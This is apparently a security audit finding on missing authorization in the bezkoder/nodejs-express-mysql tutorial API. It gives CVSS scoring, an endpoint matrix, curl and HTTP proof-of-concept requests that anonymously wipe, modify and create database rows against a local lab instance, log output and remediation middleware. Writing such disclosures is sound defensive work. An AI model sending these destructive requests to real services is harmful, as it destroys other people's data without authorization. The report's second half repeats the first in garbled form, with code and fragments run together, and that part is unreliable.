Severity
- Severity: High
- CVSS v3.1 score: 9.1
- CVSS v3.1 vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
- CWE: CWE-862 — Missing Authorization
CVSS assumptions:
- C:N — this finding scores the authorization gap on state-changing operations. Whether the read endpoints
must be confidential is a product decision the repository does not document; if reads are intended to be
private, the vector becomes …S:U/C:H/I:H/A:H = 9.8.
- I:H / A:H — an unauthenticated caller permanently destroyed every row (
DELETE /api/tutorials, table
contents 5 → 0) and can modify or create arbitrary records.
Summary
Every endpoint of the tutorial API — read, write and destructive — is reachable without any credential. The
route definitions bind handlers directly, with no authentication or authorization middleware anywhere in the
repository, and no session, token, role, or ownership concept exists in the data model.
The strongest issue is not that reads are public, but that state-changing and destructive administrative
operations are anonymous: any caller can create records, modify any record by id, delete any record by id, and
wipe the entire table with a single request. The request is accepted, the database operation executes, and the
API confirms success.
Authentication (proving who you are) and authorization (what that identity may do) are both absent: there is
nothing to authenticate with, and no check deciding whether the caller may perform the operation.
Affected Component
| Item |
Value |
| Repository |
bezkoder/nodejs-express-mysql |
| Affected files |
app/routes/tutorial.routes.js (lines 7–25), server.js (lines 11–17 mount only cors, express.json, express.urlencoded); no app/middleware/ directory exists |
| Affected functions |
create, findAll, findAllPublished, findOne, update, delete, deleteAll in app/controllers/tutorial.controller.js |
| Affected endpoints |
all 8 application endpoints (see matrix) |
| Affected commit |
68d3959; no authentication has ever existed in the repository's application code |
Endpoint matrix (all requests sent with zero credentials)
| METHOD |
PATH |
Handler (controller line) |
Operation type |
Verified response |
| GET |
/ |
server.js:20 |
static banner |
banner JSON returned (no credential) |
| GET |
/api/tutorials |
findAll (31) |
read (unbounded) |
200 |
| GET |
/api/tutorials/published |
findAllPublished (62) |
read |
200 |
| GET |
/api/tutorials/:id |
findOne (45) |
read |
200 |
| POST |
/api/tutorials |
create (4) |
write |
200 (verified with a valid body) |
| PUT |
/api/tutorials/:id |
update (74) |
write / modify |
200 |
| DELETE |
/api/tutorials/:id |
delete (104) |
destructive |
200 |
| DELETE |
/api/tutorials |
deleteAll (121) |
destructive (full table wipe) |
200 |
Route binding, app/routes/tutorial.routes.js (pristine):
router.post("/", tutorials.create);
router.get("/", tutorials.findAll);
router.get("/published", tutorials.findAllPublished);
router.get("/:id", tutorials.findOne);
router.put("/:id", tutorials.update);
router.delete("/:id", tutorials.delete);
router.delete("/", tutorials.deleteAll); // no middleware argument on any route
Technical Description
No handler performs an authorization decision. The router registers each controller function directly, so the
only inputs that matter are the path and body; nothing in the request is ever checked for identity or
permission. Repository-wide search for middleware|passport|jwt|session|cookie|authenticate|authorize|bcrypt| token returned no matches in application code (the single historical match for jwt is a documentation link
in README.md, commit d8cef0f).
Data flow for the destructive endpoint:
unauthenticated HTTP request
DELETE /api/tutorials
↓
express Router (app/routes/tutorial.routes.js:25) accepts the request — no auth middleware in the chain
↓
deleteAll (tutorial.controller.js:121) is invoked
↓
Tutorial.removeAll (tutorial.model.js:117) executes `DELETE FROM tutorials`
↓
observed result: HTTP 200 {"message":"All Tutorials were deleted successfully!"}; row count 5 → 0
Attack Preconditions
- Authentication required: none — no credential is checked anywhere in the request path.
- Network access: any client able to reach the HTTP port (default
8080).
- Privileges required: none.
- Special configuration required: none; the behaviour is in the application code.
- Works against a default installation: yes — started per the README (
node server.js).
- Assumptions used in the reproduction: an isolated local MariaDB with
testdb.tutorials seeded with 5
harmless rows; the host database was not touched.
Step-by-Step Reproduction / PoC
PoC 1 — Anonymous full-table deletion (primary)
DELETE /api/tutorials HTTP/1.1
Host: localhost:8080
curl -X DELETE http://localhost:8080/api/tutorials
PoC 2 — Same request with forged credentials (proves no credential is evaluated)
curl -X DELETE http://localhost:8080/api/tutorials \
-H 'Authorization: Bearer forged.token' \
-H 'X-Api-Key: forged' \
-H 'Cookie: session=forged'
PoC 3 — Anonymous record modification
PUT /api/tutorials/2 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"title":"x","description":"y","published":true}
PoC 4 — Anonymous record creation (unauthenticated write, also feeds the resource-consumption finding)
curl -X POST http://localhost:8080/api/tutorials \
-H 'Content-Type: application/json' \
-d '{"title":"spam-1","description":"anonymous write","published":false}'
Observed Result
Endpoint matrix with zero credentials (/tmp/opencode/audit-lab-FINAL.log, section 1):
GET /api/tutorials -> HTTP 200
POST /api/tutorials -> HTTP 500 (empty body; write path still reached)
GET /api/tutorials/published -> HTTP 200
GET /api/tutorials/2 -> HTTP 200
PUT /api/tutorials/2 -> HTTP 200
DELETE /api/tutorials/2 -> HTTP 200
DELETE /api/tutorials -> HTTP 200
GET /does-not-exist -> HTTP 404
Destructive result, verified against the database:
rows left after anonymous DELETE: 0 <- table wiped by unauthenticated caller
with forged Authorization / X-Api-Key / Cookie headers the response was unchanged (HTTP 200, table
wiped) — confirming that no credential is inspected rather than that a bypass exists.
Anonymous writes confirmed separately:
50 anonymous POSTs: rows 20008 -> 20058 (no credentials, no rate limit, no quota)
Still open after the SQL-injection/error-handling fix: DELETE /api/tutorials -> HTTP 200
(/tmp/opencode/postfix-verify.log, section G).
Expected Secure Result
- A
DELETE /api/tutorials request without a valid, authorized token must be rejected with 401 Unauthorized
(no credential presented) or 403 Forbidden (insufficient role), and the database must remain unchanged.
- State-changing routes (
POST, PUT, DELETE) must require authentication; the bulk-delete route must
additionally require an administrative role.
- Read endpoints must be classified deliberately: if the tutorial content is meant to be public, document that;
if not, protect them with the same middleware.
- Object-level checks must ensure the authenticated subject owns or may act on the targeted record.
Security Impact
Direct impact
An unauthenticated attacker can permanently destroy all application data, modify any record, create unlimited
records, and read all records. Because there is no ownership model, every id is globally addressable — once
authentication is added, per-object authorization (BOLA/IDOR protection) must be designed in as well.
Amplified impact
- Root cause of this finding: absence of any authorization decision in the request path.
- Interaction with other findings (not causes): combined with the SQL-injection finding, anonymous access
means no foothold is needed to reach the injectable parameters; combined with the missing rate/pagination
limits, anonymous writes enable unbounded storage growth. Neither of those findings is caused by this one.
Evidence
- Source:
app/routes/tutorial.routes.js lines 7–25 (pristine 68d3959); server.js lines 11–17.
- Reproduction output:
/tmp/opencode/audit-lab-FINAL.log (section 1 endpoint matrix, row count 5 → 0,
forged-header test; section 10b anonymous writes).
- Harness:
/tmp/opencode/audit-lab.sh.
- Post-fix status:
/tmp/opencode/postfix-verify.log (section G — still HTTP 200).
- Negative search: no
authenticate/authorize/jwt/session/middleware code anywhere in the tree or its
history (only a README documentation link, commit d8cef0f).
Root Cause
Routes are registered without authentication or authorization middleware, and no handler performs an
authorization check, so every operation — including bulk data destruction — executes for any caller.
Remediation
// app/routes/tutorial.routes.js
const auth = require("../middleware/auth.js"); // verifies JWT / session
const adminOnly = require("../middleware/role.js"); // enforces administrative role
router.get("/", auth, tutorials.findAll); // if reads are not intended public
router.get("/published", auth, tutorials.findAllPublished);
router.get("/:id", auth, tutorials.findOne);
router.post("/", auth, tutorials.create);
router.put("/:id", auth, tutorials.update);
router.delete("/:id", auth, tutorials.delete);
router.delete("/", auth, adminOnly, tutorials.deleteAll);
Handler-level ownership check (prevents id-level abuse once auth exists):
exports.update = (req, res) => {
// …load record, then:
if (String(record.ownerId) !== req.user.id) {
return res.status(403).send({ message: "Forbidden" });
}
// proceed with update
};
Defense in Depth
- Rate limiting on write routes and per-account quotas.
- Audit logging of destructive operations (who, when, how many rows affected).
- Remove or restrict
DELETE /api/tutorials outside of administrative tooling.
- Do not rely on CORS as an access-control mechanism (CORS is browser-enforced only and was verified to be
origin-restricted here, but it is not authentication).
Affected Versions / Git History
app/routes/tutorial.routes.js was created in commit be702f0 (2021-11-10) with no middleware on any route;
the file has not been modified since.
- The equivalent
app/routes/customer.routes.js from the initial commit 8260dc6 (2019-09-25) likewise
registered app.delete("/customers", …) with no authorization, so the pattern predates the current routes.
- No authentication/authorization implementation has existed in application code at any point in the repository
history.
- Current
master commit 68d3959 (2024-02-04) remains affected; there are no release tags, so the affected
version is described by commit.
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:HCVSS assumptions:
must be confidential is a product decision the repository does not document; if reads are intended to be
private, the vector becomes
…S:U/C:H/I:H/A:H= 9.8.DELETE /api/tutorials, tablecontents 5 → 0) and can modify or create arbitrary records.
Summary
Every endpoint of the tutorial API — read, write and destructive — is reachable without any credential. The
route definitions bind handlers directly, with no authentication or authorization middleware anywhere in the
repository, and no session, token, role, or ownership concept exists in the data model.
The strongest issue is not that reads are public, but that state-changing and destructive administrative
operations are anonymous: any caller can create records, modify any record by id, delete any record by id, and
wipe the entire table with a single request. The request is accepted, the database operation executes, and the
API confirms success.
Authentication (proving who you are) and authorization (what that identity may do) are both absent: there is
nothing to authenticate with, and no check deciding whether the caller may perform the operation.
Affected Component
bezkoder/nodejs-express-mysqlapp/routes/tutorial.routes.js(lines 7–25),server.js(lines 11–17 mount onlycors,express.json,express.urlencoded); noapp/middleware/directory existscreate,findAll,findAllPublished,findOne,update,delete,deleteAllinapp/controllers/tutorial.controller.js68d3959; no authentication has ever existed in the repository's application codeEndpoint matrix (all requests sent with zero credentials)
/server.js:20/api/tutorialsfindAll(31)/api/tutorials/publishedfindAllPublished(62)/api/tutorials/:idfindOne(45)/api/tutorialscreate(4)/api/tutorials/:idupdate(74)/api/tutorials/:iddelete(104)/api/tutorialsdeleteAll(121)Route binding,
app/routes/tutorial.routes.js(pristine):Technical Description
No handler performs an authorization decision. The router registers each controller function directly, so the
only inputs that matter are the path and body; nothing in the request is ever checked for identity or
permission. Repository-wide search for
middleware|passport|jwt|session|cookie|authenticate|authorize|bcrypt| tokenreturned no matches in application code (the single historical match forjwtis a documentation linkin
README.md, commitd8cef0f).Data flow for the destructive endpoint:
Attack Preconditions
8080).node server.js).testdb.tutorialsseeded with 5harmless rows; the host database was not touched.
Step-by-Step Reproduction / PoC
PoC 1 — Anonymous full-table deletion (primary)
PoC 2 — Same request with forged credentials (proves no credential is evaluated)
PoC 3 — Anonymous record modification
PoC 4 — Anonymous record creation (unauthenticated write, also feeds the resource-consumption finding)
Observed Result
Endpoint matrix with zero credentials (
/tmp/opencode/audit-lab-FINAL.log, section 1):Destructive result, verified against the database:
with forged
Authorization/X-Api-Key/Cookieheaders the response was unchanged (HTTP 200, tablewiped) — confirming that no credential is inspected rather than that a bypass exists.
Anonymous writes confirmed separately:
Still open after the SQL-injection/error-handling fix:
DELETE /api/tutorials -> HTTP 200(
/tmp/opencode/postfix-verify.log, section G).Expected Secure Result
DELETE /api/tutorialsrequest without a valid, authorized token must be rejected with401 Unauthorized(no credential presented) or
403 Forbidden(insufficient role), and the database must remain unchanged.POST,PUT,DELETE) must require authentication; the bulk-delete route mustadditionally require an administrative role.
if not, protect them with the same middleware.
Security Impact
Direct impact
An unauthenticated attacker can permanently destroy all application data, modify any record, create unlimited
records, and read all records. Because there is no ownership model, every id is globally addressable — once
authentication is added, per-object authorization (BOLA/IDOR protection) must be designed in as well.
Amplified impact
means no foothold is needed to reach the injectable parameters; combined with the missing rate/pagination
limits, anonymous writes enable unbounded storage growth. Neither of those findings is caused by this one.
Evidence
app/routes/tutorial.routes.jslines 7–25 (pristine68d3959);server.jslines 11–17./tmp/opencode/audit-lab-FINAL.log(section 1 endpoint matrix, row count 5 → 0,forged-header test; section 10b anonymous writes).
/tmp/opencode/audit-lab.sh./tmp/opencode/postfix-verify.log(section G — stillHTTP 200).authenticate/authorize/jwt/session/middlewarecode anywhere in the tree or itshistory (only a README documentation link, commit
d8cef0f).Root Cause
Routes are registered without authentication or authorization middleware, and no handler performs an
authorization check, so every operation — including bulk data destruction — executes for any caller.
Remediation
Handler-level ownership check (prevents id-level abuse once auth exists):
Defense in Depth
DELETE /api/tutorialsoutside of administrative tooling.origin-restricted here, but it is not authentication).
Affected Versions / Git History
app/routes/tutorial.routes.jswas created in commitbe702f0(2021-11-10) with no middleware on any route;the file has not been modified since.
app/routes/customer.routes.jsfrom the initial commit8260dc6(2019-09-25) likewiseregistered
app.delete("/customers", …)with no authorization, so the pattern predates the current routes.history.
mastercommit68d3959(2024-02-04) remains affected; there are no release tags, so the affectedversion is described by commit.